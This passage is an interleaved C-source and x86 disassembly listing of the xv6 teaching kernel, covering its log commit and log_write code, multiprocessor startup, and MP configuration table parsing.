memmove(to->data, from->data, BSIZE); 80102c28: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80102c2f: 00 { int tail; for (tail = 0; tail < log.lh.n; tail++) { struct buf *to = bread(log.dev, log.start+tail+1); // log block struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c30: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102c32: 8d 40 5c lea 0x5c(%eax),%eax 80102c35: 89 44 24 04 mov %eax,0x4(%esp) 80102c39: 8d 46 5c lea 0x5c(%esi),%eax 80102c3c: 89 04 24 mov %eax,(%esp) 80102c3f: e8 4c 17 00 00 call 80104390 <memmove> bwrite(to); // write the log 80102c44: 89 34 24 mov %esi,(%esp) 80102c47: e8 54 d5 ff ff call 801001a0 <bwrite> brelse(from); 80102c4c: 89 3c 24 mov %edi,(%esp) 80102c4f: e8 8c d5 ff ff call 801001e0 <brelse> brelse(to); 80102c54: 89 34 24 mov %esi,(%esp) 80102c57: e8 84 d5 ff ff call 801001e0 <brelse> static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102c5c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102c62: 7c 8c jl 80102bf0 <end_op+0x60> static void commit() { if (log.lh.n > 0) { write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102c64: e8 a7 fd ff ff call 80102a10 <write_head> install_trans(); // Now install writes to home locations 80102c69: e8 02 fd ff ff call 80102970 <install_trans> log.lh.n = 0; 80102c6e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102c75: 00 00 00 write_head(); // Erase the transaction from the log 80102c78: e8 93 fd ff ff call 80102a10 <write_head> if(do_commit){ // call commit w/o holding locks, since not allowed // to sleep with locks. commit(); acquire(&log.lock); 80102c7d: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c84: e8 a7 15 00 00 call 80104230 <acquire> log.committing = 0; 80102c89: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102c90: 00 00 00 wakeup(&log); 80102c93: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c9a: e8 31 11 00 00 call 80103dd0 <wakeup> release(&log.lock); 80102c9f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102ca6: e8 f5 15 00 00 call 801042a0 <release> } } 80102cab: 83 c4 1c add $0x1c,%esp 80102cae: 5b pop %ebx 80102caf: 5e pop %esi 80102cb0: 5f pop %edi 80102cb1: 5d pop %ebp 80102cb2: c3 ret int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; if(log.committing) panic("log.committing"); 80102cb3: c7 04 24 04 75 10 80 movl $0x80107504,(%esp) 80102cba: e8 a1 d6 ff ff call 80100360 <panic> 80102cbf: 90 nop 80102cc0 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102cc0: 55 push %ebp 80102cc1: 89 e5 mov %esp,%ebp 80102cc3: 53 push %ebx 80102cc4: 83 ec 14 sub $0x14,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102cc7: a1 c8 26 11 80 mov 0x801126c8,%eax // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102ccc: 8b 5d 08 mov 0x8(%ebp),%ebx int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102ccf: 83 f8 1d cmp $0x1d,%eax 80102cd2: 0f 8f 98 00 00 00 jg 80102d70 <log_write+0xb0> 80102cd8: 8b 0d b8 26 11 80 mov 0x801126b8,%ecx 80102cde: 8d 51 ff lea -0x1(%ecx),%edx 80102ce1: 39 d0 cmp %edx,%eax 80102ce3: 0f 8d 87 00 00 00 jge 80102d70 <log_write+0xb0> panic("too big a transaction"); if (log.outstanding < 1) 80102ce9: a1 bc 26 11 80 mov 0x801126bc,%eax 80102cee: 85 c0 test %eax,%eax 80102cf0: 0f 8e 86 00 00 00 jle 80102d7c <log_write+0xbc> panic("log_write outside of trans"); acquire(&log.lock); 80102cf6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102cfd: e8 2e 15 00 00 call 80104230 <acquire> for (i = 0; i < log.lh.n; i++) { 80102d02: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102d08: 83 fa 00 cmp $0x0,%edx 80102d0b: 7e 54 jle 80102d61 <log_write+0xa1> if (log.lh.block[i] == b->blockno) // log absorbtion 80102d0d: 8b 4b 08 mov 0x8(%ebx),%ecx panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 80102d10: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102d12: 39 0d cc 26 11 80 cmp %ecx,0x801126cc 80102d18: 75 0f jne 80102d29 <log_write+0x69> 80102d1a: eb 3c jmp 80102d58 <log_write+0x98> 80102d1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102d20: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4) 80102d27: 74 2f je 80102d58 <log_write+0x98> panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 80102d29: 83 c0 01 add $0x1,%eax 80102d2c: 39 d0 cmp %edx,%eax 80102d2e: 75 f0 jne 80102d20 <log_write+0x60> if (log.lh.block[i] == b->blockno) // log absorbtion break; } log.lh.block[i] = b->blockno; 80102d30: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) if (i == log.lh.n) log.lh.n++; 80102d37: 83 c2 01 add $0x1,%edx 80102d3a: 89 15 c8 26 11 80 mov %edx,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102d40: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102d43: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102d4a: 83 c4 14 add $0x14,%esp 80102d4d: 5b pop %ebx 80102d4e: 5d pop %ebp } log.lh.block[i] = b->blockno; if (i == log.lh.n) log.lh.n++; b->flags |= B_DIRTY; // prevent eviction release(&log.lock); 80102d4f: e9 4c 15 00 00 jmp 801042a0 <release> 80102d54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { if (log.lh.block[i] == b->blockno) // log absorbtion break; } log.lh.block[i] = b->blockno; 80102d58: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4) 80102d5f: eb df jmp 80102d40 <log_write+0x80> 80102d61: 8b 43 08 mov 0x8(%ebx),%eax 80102d64: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102d69: 75 d5 jne 80102d40 <log_write+0x80> 80102d6b: eb ca jmp 80102d37 <log_write+0x77> 80102d6d: 8d 76 00 lea 0x0(%esi),%esi log_write(struct buf *b) { int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) panic("too big a transaction"); 80102d70: c7 04 24 13 75 10 80 movl $0x80107513,(%esp) 80102d77: e8 e4 d5 ff ff call 80100360 <panic> if (log.outstanding < 1) panic("log_write outside of trans"); 80102d7c: c7 04 24 29 75 10 80 movl $0x80107529,(%esp) 80102d83: e8 d8 d5 ff ff call 80100360 <panic> 80102d88: 66 90 xchg %ax,%ax 80102d8a: 66 90 xchg %ax,%ax 80102d8c: 66 90 xchg %ax,%ax 80102d8e: 66 90 xchg %ax,%ax 80102d90 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102d90: 55 push %ebp 80102d91: 89 e5 mov %esp,%ebp 80102d93: 53 push %ebx 80102d94: 83 ec 14 sub $0x14,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102d97: e8 f4 08 00 00 call 80103690 <cpuid> 80102d9c: 89 c3 mov %eax,%ebx 80102d9e: e8 ed 08 00 00 call 80103690 <cpuid> 80102da3: 89 5c 24 08 mov %ebx,0x8(%esp) 80102da7: c7 04 24 44 75 10 80 movl $0x80107544,(%esp) 80102dae: 89 44 24 04 mov %eax,0x4(%esp) 80102db2: e8 99 d8 ff ff call 80100650 <cprintf> idtinit(); // load idt register 80102db7: e8 34 2b 00 00 call 801058f0 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102dbc: e8 4f 08 00 00 call 80103610 <mycpu> 80102dc1: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102dc3: b8 01 00 00 00 mov $0x1,%eax 80102dc8: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102dcf: e8 ac 0b 00 00 call 80103980 <scheduler> 80102dd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102dda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102de0 <mpenter>: } // Other CPUs jump here from entryother.S. static void mpenter(void) { 80102de0: 55 push %ebp 80102de1: 89 e5 mov %esp,%ebp 80102de3: 83 ec 08 sub $0x8,%esp switchkvm(); 80102de6: e8 c5 3b 00 00 call 801069b0 <switchkvm> seginit(); 80102deb: e8 00 3b 00 00 call 801068f0 <seginit> lapicinit(); 80102df0: e8 8b f8 ff ff call 80102680 <lapicinit> mpmain(); 80102df5: e8 96 ff ff ff call 80102d90 <mpmain> 80102dfa: 66 90 xchg %ax,%ax 80102dfc: 66 90 xchg %ax,%ax 80102dfe: 66 90 xchg %ax,%ax 80102e00 <main>: // Bootstrap processor starts running C code here. // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { 80102e00: 55 push %ebp 80102e01: 89 e5 mov %esp,%ebp 80102e03: 53 push %ebx // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102e04: bb 80 27 11 80 mov $0x80112780,%ebx // Bootstrap processor starts running C code here. // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { 80102e09: 83 e4 f0 and $0xfffffff0,%esp 80102e0c: 83 ec 10 sub $0x10,%esp kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102e0f: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp) 80102e16: 80 80102e17: c7 04 24 a8 5b 11 80 movl $0x80115ba8,(%esp) 80102e1e: e8 cd f5 ff ff call 801023f0 <kinit1> kvmalloc(); // kernel page table 80102e23: e8 18 40 00 00 call 80106e40 <kvmalloc> mpinit(); // detect other processors 80102e28: e8 73 01 00 00 call 80102fa0 <mpinit> 80102e2d: 8d 76 00 lea 0x0(%esi),%esi lapicinit(); // interrupt controller 80102e30: e8 4b f8 ff ff call 80102680 <lapicinit> seginit(); // segment descriptors 80102e35: e8 b6 3a 00 00 call 801068f0 <seginit> picinit(); // disable pic 80102e3a: e8 21 03 00 00 call 80103160 <picinit> 80102e3f: 90 nop ioapicinit(); // another interrupt controller 80102e40: e8 cb f3 ff ff call 80102210 <ioapicinit> consoleinit(); // console hardware 80102e45: e8 06 db ff ff call 80100950 <consoleinit> uartinit(); // serial port 80102e4a: e8 c1 2d 00 00 call 80105c10 <uartinit> 80102e4f: 90 nop pinit(); // process table 80102e50: e8 9b 07 00 00 call 801035f0 <pinit> tvinit(); // trap vectors 80102e55: e8 f6 29 00 00 call 80105850 <tvinit> binit(); // buffer cache 80102e5a: e8 e1 d1 ff ff call 80100040 <binit> 80102e5f: 90 nop fileinit(); // file table 80102e60: e8 eb de ff ff call 80100d50 <fileinit> ideinit(); // disk 80102e65: e8 a6 f1 ff ff call 80102010 <ideinit> // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102e6a: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp) 80102e71: 00 80102e72: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp) 80102e79: 80 80102e7a: c7 04 24 00 70 00 80 movl $0x80007000,(%esp) 80102e81: e8 0a 15 00 00 call 80104390 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102e86: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102e8d: 00 00 00 80102e90: 05 80 27 11 80 add $0x80112780,%eax 80102e95: 39 d8 cmp %ebx,%eax 80102e97: 76 6a jbe 80102f03 <main+0x103> 80102e99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(c == mycpu()) // We've started already. 80102ea0: e8 6b 07 00 00 call 80103610 <mycpu> 80102ea5: 39 d8 cmp %ebx,%eax 80102ea7: 74 41 je 80102eea <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102ea9: e8 02 f6 ff ff call 801024b0 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; *(void(**)(void))(code-8) = mpenter; 80102eae: c7 05 f8 6f 00 80 e0 movl $0x80102de0,0x80006ff8 80102eb5: 2d 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102eb8: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102ebf: 90 10 00 // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); *(void**)(code-4) = stack + KSTACKSIZE; 80102ec2: 05 00 10 00 00 add $0x1000,%eax 80102ec7: a3 fc 6f 00 80 mov %eax,0x80006ffc *(void(**)(void))(code-8) = mpenter; *(int**)(code-12) = (void *) V2P(entrypgdir); lapicstartap(c->apicid, V2P(code)); 80102ecc: 0f b6 03 movzbl (%ebx),%eax 80102ecf: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp) 80102ed6: 00 80102ed7: 89 04 24 mov %eax,(%esp) 80102eda: e8 e1 f8 ff ff call 801027c0 <lapicstartap> 80102edf: 90 nop // wait for cpu to finish mpmain() while(c->started == 0) 80102ee0: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102ee6: 85 c0 test %eax,%eax 80102ee8: 74 f6 je 80102ee0 <main+0xe0> // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102eea: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102ef1: 00 00 00 80102ef4: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102efa: 05 80 27 11 80 add $0x80112780,%eax 80102eff: 39 c3 cmp %eax,%ebx 80102f01: 72 9d jb 80102ea0 <main+0xa0> tvinit(); // trap vectors binit(); // buffer cache fileinit(); // file table ideinit(); // disk startothers(); // start other processors kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102f03: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp) 80102f0a: 8e 80102f0b: c7 04 24 00 00 40 80 movl $0x80400000,(%esp) 80102f12: e8 49 f5 ff ff call 80102460 <kinit2> userinit(); // first user process 80102f17: e8 c4 07 00 00 call 801036e0 <userinit> mpmain(); // finish this processor's setup 80102f1c: e8 6f fe ff ff call 80102d90 <mpmain> 80102f21: 66 90 xchg %ax,%ax 80102f23: 66 90 xchg %ax,%ax 80102f25: 66 90 xchg %ax,%ax 80102f27: 66 90 xchg %ax,%ax 80102f29: 66 90 xchg %ax,%ax 80102f2b: 66 90 xchg %ax,%ax 80102f2d: 66 90 xchg %ax,%ax 80102f2f: 90 nop 80102f30 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f30: 55 push %ebp 80102f31: 89 e5 mov %esp,%ebp 80102f33: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102f34: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f3a: 53 push %ebx uchar *e, *p, *addr; addr = P2V(a); e = addr+len; 80102f3b: 8d 1c 16 lea (%esi,%edx,1),%ebx } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f3e: 83 ec 10 sub $0x10,%esp uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 80102f41: 39 de cmp %ebx,%esi 80102f43: 73 3c jae 80102f81 <mpsearch1+0x51> 80102f45: 8d 76 00 lea 0x0(%esi),%esi if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f48: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 80102f4f: 00 80102f50: c7 44 24 04 58 75 10 movl $0x80107558,0x4(%esp) 80102f57: 80 80102f58: 89 34 24 mov %esi,(%esp) 80102f5b: e8 e0 13 00 00 call 80104340 <memcmp> 80102f60: 85 c0 test %eax,%eax 80102f62: 75 16 jne 80102f7a <mpsearch1+0x4a> 80102f64: 31 c9 xor %ecx,%ecx 80102f66: 31 d2 xor %edx,%edx { int i, sum; sum = 0; for(i=0; i<len; i++) sum += addr[i]; 80102f68: 0f b6 04 16 movzbl (%esi,%edx,1),%eax sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 80102f6c: 83 c2 01 add $0x1,%edx sum += addr[i]; 80102f6f: 01 c1 add %eax,%ecx sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 80102f71: 83 fa 10 cmp $0x10,%edx 80102f74: 75 f2 jne 80102f68 <mpsearch1+0x38> uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f76: 84 c9 test %cl,%cl 80102f78: 74 10 je 80102f8a <mpsearch1+0x5a> { uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 80102f7a: 83 c6 10 add $0x10,%esi 80102f7d: 39 f3 cmp %esi,%ebx 80102f7f: 77 c7 ja 80102f48 <mpsearch1+0x18> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; } 80102f81: 83 c4 10 add $0x10,%esp addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; 80102f84: 31 c0 xor %eax,%eax } 80102f86: 5b pop %ebx 80102f87: 5e pop %esi 80102f88: 5d pop %ebp 80102f89: c3 ret 80102f8a: 83 c4 10 add $0x10,%esp 80102f8d: 89 f0 mov %esi,%eax 80102f8f: 5b pop %ebx 80102f90: 5e pop %esi 80102f91: 5d pop %ebp 80102f92: c3 ret 80102f93: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102f99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102fa0 <mpinit>: return conf; } void mpinit(void) { 80102fa0: 55 push %ebp 80102fa1: 89 e5 mov %esp,%ebp 80102fa3: 57 push %edi 80102fa4: 56 push %esi 80102fa5: 53 push %ebx 80102fa6: 83 ec 1c sub $0x1c,%esp uchar *bda; uint p; struct mp *mp; bda = (uchar *) P2V(0x400); if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80102fa9: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80102fb0: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80102fb7: c1 e0 08 shl $0x8,%eax 80102fba: 09 d0 or %edx,%eax 80102fbc: c1 e0 04 shl $0x4,%eax 80102fbf: 85 c0 test %eax,%eax 80102fc1: 75 1b jne 80102fde <mpinit+0x3e> if((mp = mpsearch1(p, 1024))) return mp; } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; 80102fc3: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 80102fca: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80102fd1: c1 e0 08 shl $0x8,%eax 80102fd4: 09 d0 or %edx,%eax 80102fd6: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80102fd9: 2d 00 04 00 00 sub $0x400,%eax uint p; struct mp *mp; bda = (uchar *) P2V(0x400); if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ if((mp = mpsearch1(p, 1024))) 80102fde: ba 00 04 00 00 mov $0x400,%edx 80102fe3: e8 48 ff ff ff call 80102f30 <mpsearch1> 80102fe8: 85 c0 test %eax,%eax 80102fea: 89 c7 mov %eax,%edi 80102fec: 0f 84 22 01 00 00 je 80103114 <mpinit+0x174> mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80102ff2: 8b 77 04 mov 0x4(%edi),%esi 80102ff5: 85 f6 test %esi,%esi 80102ff7: 0f 84 30 01 00 00 je 8010312d <mpinit+0x18d> return 0; conf = (struct mpconf*) P2V((uint) mp->physaddr); 80102ffd: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax if(memcmp(conf, "PCMP", 4) != 0) 80103003: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) 8010300a: 00 8010300b: c7 44 24 04 5d 75 10 movl $0x8010755d,0x4(%esp) 80103012: 80 80103013: 89 04 24 mov %eax,(%esp) struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) return 0; conf = (struct mpconf*) P2V((uint) mp->physaddr); 80103016: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(conf, "PCMP", 4) != 0) 80103019: e8 22 13 00 00 call 80104340 <memcmp> 8010301e: 85 c0 test %eax,%eax 80103020: 0f 85 07 01 00 00 jne 8010312d <mpinit+0x18d> return 0; if(conf->version != 1 && conf->version != 4) 80103026: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax 8010302d: 3c 04 cmp $0x4,%al 8010302f: 0f 85 0b 01 00 00 jne 80103140 <mpinit+0x1a0> return 0; if(sum((uchar*)conf, conf->length) != 0) 80103035: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 8010303c: 85 c0 test %eax,%eax 8010303e: 74 21 je 80103061 <mpinit+0xc1> static uchar sum(uchar *addr, int len) { int i, sum; sum = 0; 80103040: 31 c9 xor %ecx,%ecx for(i=0; i<len; i++) 80103042: 31 d2 xor %edx,%edx 80103044: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 80103048: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx 8010304f: 80 sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 80103050: 83 c2 01 add $0x1,%edx sum += addr[i]; 80103053: 01 d9 add %ebx,%ecx sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 80103055: 39 d0 cmp %edx,%eax 80103057: 7f ef jg 80103048 <mpinit+0xa8> conf = (struct mpconf*) P2V((uint) mp->physaddr); if(memcmp(conf, "PCMP", 4) != 0) return 0; if(conf->version != 1 && conf->version != 4) return 0; if(sum((uchar*)conf, conf->length) != 0) 80103059: 84 c9 test %cl,%cl 8010305b: 0f 85 cc 00 00 00 jne 8010312d <mpinit+0x18d> struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103061: 8b 45 e4 mov -0x1c(%ebp),%eax 80103064: 85 c0 test %eax,%eax 80103066: 0f 84 c1 00 00 00 je 8010312d <mpinit+0x18d> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 8010306c: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); ismp = 1; 80103072: bb 01 00 00 00 mov $0x1,%ebx lapic = (uint*)conf->lapicaddr; 80103077: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010307c: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx 80103083: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax 80103089: 03 55 e4 add -0x1c(%ebp),%edx 8010308c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103090: 39 c2 cmp %eax,%edx 80103092: 76 1b jbe 801030af <mpinit+0x10f> 80103094: 0f b6 08 movzbl (%eax),%ecx switch(*p){ 80103097: 80 f9 04 cmp $0x4,%cl 8010309a: 77 74 ja 80103110 <mpinit+0x170> 8010309c: ff 24 8d 9c 75 10 80 jmp *-0x7fef8a64(,%ecx,4) 801030a3: 90 nop 801030a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 801030a8: 83 c0 08 add $0x8,%eax if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801030ab: 39 c2 cmp %eax,%edx 801030ad: 77 e5 ja 80103094 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 801030af: 85 db test %ebx,%ebx 801030b1: 0f 84 93 00 00 00 je 8010314a <mpinit+0x1aa> panic("Didn't find a suitable machine"); if(mp->imcrp){ 801030b7: 80 7f 0c 00 cmpb $0x0,0xc(%edi) 801030bb: 74 12 je 801030cf <mpinit+0x12f> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801030bd: ba 22 00 00 00 mov $0x22,%edx 801030c2: b8 70 00 00 00 mov $0x70,%eax 801030c7: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801030c8: b2 23 mov $0x23,%dl 801030ca: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 801030cb: 83 c8 01 or $0x1,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801030ce: ee out %al,(%dx) } } 801030cf: 83 c4 1c add $0x1c,%esp 801030d2: 5b pop %ebx 801030d3: 5e pop %esi 801030d4: 5f pop %edi 801030d5: 5d pop %ebp 801030d6: c3 ret 801030d7: 90 nop lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ switch(*p){ case MPPROC: proc = (struct mpproc*)p; if(ncpu < NCPU) { 801030d8: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 801030de: 83 fe 07 cmp $0x7,%esi 801030e1: 7f 17 jg 801030fa <mpinit+0x15a> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030e3: 0f b6 48 01 movzbl 0x1(%eax),%ecx 801030e7: 69 f6 b0 00 00 00 imul $0xb0,%esi,%esi ncpu++; 801030ed: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00 for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ switch(*p){ case MPPROC: proc = (struct mpproc*)p; if(ncpu < NCPU) { cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801030f4: 88 8e 80 27 11 80 mov %cl,-0x7feed880(%esi) ncpu++; } p += sizeof(struct mpproc); 801030fa: 83 c0 14 add $0x14,%eax continue; 801030fd: eb 91 jmp 80103090 <mpinit+0xf0> 801030ff: 90 nop case MPIOAPIC: ioapic = (struct mpioapic*)p; ioapicid = ioapic->apicno; 80103100: 0f b6 48 01 movzbl 0x1(%eax),%ecx p += sizeof(struct mpioapic); 80103104: 83 c0 08 add $0x8,%eax } p += sizeof(struct mpproc); continue; case MPIOAPIC: ioapic = (struct mpioapic*)p; ioapicid = ioapic->apicno; 80103107: 88 0d 60 27 11 80 mov %cl,0x80112760 p += sizeof(struct mpioapic); continue; 8010310d: eb 81 jmp 80103090 <mpinit+0xf0> 8010310f: 90 nop case MPIOINTR: case MPLINTR: p += 8; continue; default: ismp = 0; 80103110: 31 db xor %ebx,%ebx 80103112: eb 83 jmp 80103097 <mpinit+0xf7> } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) return mp; } return mpsearch1(0xF0000, 0x10000); 80103114: ba 00 00 01 00 mov $0x10000,%edx 80103119: b8 00 00 0f 00 mov $0xf0000,%eax 8010311e: e8 0d fe ff ff call 80102f30 <mpsearch1> mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103123: 85 c0 test %eax,%eax } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) return mp; } return mpsearch1(0xF0000, 0x10000); 80103125: 89 c7 mov %eax,%edi mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103127: 0f 85 c5 fe ff ff jne 80102ff2 <mpinit+0x52> struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); 8010312d: 